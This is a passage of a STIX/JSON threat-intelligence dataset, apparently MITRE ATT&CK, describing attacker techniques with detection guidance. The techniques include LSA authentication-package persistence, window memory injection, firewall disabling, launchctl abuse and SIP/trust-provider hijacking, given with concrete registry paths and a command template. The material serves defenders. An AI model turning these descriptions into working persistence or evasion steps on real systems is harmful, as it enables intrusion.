into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for <code>tscon.exe</code> usage and monitor service creation that uses <code>cmd.exe /k</code> or <code>cmd.exe /c</code> in its arguments to prevent RDP session hijacking.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Remote Desktop Users","User"],"x_mitre_system_requirements":["RDP service enabled, account in the Remote Desktop Users group."]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41","type":"attack-pattern","created":"2020-10-02T17:03:45.918Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1597.001","url":"https://attack.mitre.org/techniques/T1597/001"},{"source_name":"D3Secutrity CTI Feeds","url":"https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/","description":"Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:45:30.862Z","name":"Threat Intel Vendors","description":"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Itzik Kotler, SafeBreach"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","type":"attack-pattern","created":"2017-05-31T21:30:25.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1011","external_id":"T1011"}],"modified":"2022-03-08T21:02:16.115Z","name":"Exfiltration Over Other Network Medium","description":"Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Command: Command Execution","Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation","File: File Access"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd","type":"attack-pattern","created":"2020-10-20T00:08:21.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1602.002","url":"https://attack.mitre.org/techniques/T1602/002"},{"source_name":"US-CERT TA18-106A Network Infrastructure Devices 2018","url":"https://us-cert.cisa.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"US-CERT TA18-068A 2018","url":"https://www.us-cert.gov/ncas/alerts/TA18-086A","description":"US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019."}],"modified":"2022-02-17T19:50:46.948Z","name":"Network Device Configuration Dump","description":"Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.\n\nAdversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jannie Li, Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","created":"2020-10-02T14:54:59.263Z","x_mitre_version":"1.2","external_references":[{"source_name":"mitre-attack","external_id":"T1589","url":"https://attack.mitre.org/techniques/T1589"},{"source_name":"OPM Leak","url":"https://www.opm.gov/cybersecurity/cybersecurity-incidents/","description":"Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."},{"source_name":"Detectify Slack Tokens","url":"https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/","description":"Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020."},{"source_name":"GitHub truffleHog","url":"https://github.com/dxa4481/truffleHog","description":"Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020."},{"source_name":"GrimBlog UsernameEnum","url":"https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/","description":"GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021."},{"source_name":"Register Uber","url":"https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/","description":"McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020."},{"source_name":"GitHub Gitrob","url":"https://github.com/michenriksen/gitrob","description":"Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020."},{"source_name":"CNET Leaks","url":"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/","description":"Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."},{"source_name":"Forbes GitHub Creds","url":"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196","description":"Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020."},{"source_name":"Register Deloitte","url":"https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/","description":"Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","modified":"2022-04-21T14:39:39.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Gather Victim Identity Information","x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--52d40641-c480-4ad5-81a3-c80ccaddf82d","type":"attack-pattern","created":"2017-05-31T21:31:43.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1131","url":"https://attack.mitre.org/techniques/T1131"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx","description":"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017.","source_name":"MSDN Authentication Packages"},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-01-24T15:43:25.280Z","name":"Authentication Package","description":"Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1181","url":"https://attack.mitre.org/techniques/T1181"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx","description":"Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.","source_name":"Microsoft Window Classes"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx","description":"Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft GetWindowLong function"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx","description":"Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.","source_name":"Microsoft SetWindowLong function"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html","description":"MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.","source_name":"MalwareTech Power Loader Aug 2013"},{"url":"https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/","description":"Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.","source_name":"WeLiveSecurity Gapz and Redyms Mar 2013"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx","description":"Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.","source_name":"Microsoft SendNotifyMessage function"}],"modified":"2020-11-10T18:29:30.479Z","name":"Extra Window Memory Injection","description":"Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Anti-virus","Host intrusion prevention systems","Data Execution Prevention"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","type":"attack-pattern","created":"2020-02-21T21:00:48.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.004","url":"https://attack.mitre.org/techniques/T1562/004"}],"modified":"2020-03-29T22:18:11.166Z","name":"Disable or Modify System Firewall","description":"Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments to see if firewalls are disabled or modified. Monitor Registry edits to keys that manage firewalls.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Firewall: Firewall Disable","Firewall: Firewall Rule Modification","Command: Command Execution"],"x_mitre_defense_bypassed":["Firewall"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","type":"attack-pattern","created":"2020-02-20T20:53:45.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1560","url":"https://attack.mitre.org/techniques/T1560"},{"url":"https://en.wikipedia.org/wiki/List_of_file_signatures","description":"Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.","source_name":"Wikipedia File Header Signatures"}],"modified":"2022-01-04T18:44:10.398Z","name":"Archive Collected Data","description":"An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Archival software and archived files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.\n\nA process that loads the Windows DLL crypt32.dll may be used to perform encryption, decryption, or verification of file signatures.\n\nConsider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.(Citation: Wikipedia File Header Signatures)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Command: Command Execution","Script: Script Execution","Process: Process Creation"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1152","url":"https://attack.mitre.org/techniques/T1152"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"}],"modified":"2020-03-10T18:31:00.336Z","name":"Launchctl","description":"Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting","Whitelisting by file name or path"],"x_mitre_permissions_required":["User","Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Matt Graeber, @mattifestation, SpecterOps"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc","type":"attack-pattern","created":"2020-02-05T19:34:04.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1553.003","url":"https://attack.mitre.org/techniques/T1553/003"},{"url":"https://msdn.microsoft.com/library/ms537359.aspx","description":"Microsoft. (n.d.). Authenticode. Retrieved January 31, 2018.","source_name":"Microsoft Authenticode"},{"url":"https://msdn.microsoft.com/library/windows/desktop/aa388208.aspx","description":"Microsoft. (n.d.). WinVerifyTrust function. Retrieved January 31, 2018.","source_name":"Microsoft WinVerifyTrust"},{"url":"https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf","description":"Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.","source_name":"SpectorOps Subverting Trust Sept 2017"},{"url":"https://blogs.technet.microsoft.com/eduardonavarro/2008/07/11/sips-subject-interface-package-and-authenticode/","description":"Navarro, E. (2008, July 11). SIP’s (Subject Interface Package) and Authenticode. Retrieved January 31, 2018.","source_name":"EduardosBlog SIPs July 2008"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/install/catalog-files","description":"Hudek, T. (2017, April 20). Catalog Files and Digital Signatures. Retrieved January 31, 2018.","source_name":"Microsoft Catalog Files and Signatures April 2017"},{"url":"https://github.com/mattifestation/PoCSubjectInterfacePackage","description":"Graeber, M. (2017, September 14). PoCSubjectInterfacePackage. Retrieved January 31, 2018.","source_name":"GitHub SIP POC Sept 2017"},{"url":"http://www.entrust.net/knowledge-base/technote.cfm?tn=8165","description":"Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.","source_name":"Entrust Enable CAPI2 Aug 2017"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)","description":"Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.","source_name":"Microsoft Registry Auditing Aug 2016"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)","description":"Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.","source_name":"Microsoft Audit Registry July 2012"}],"modified":"2021-02-09T15:58:04.719Z","name":"SIP and Trust Provider Hijacking","description":"Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or 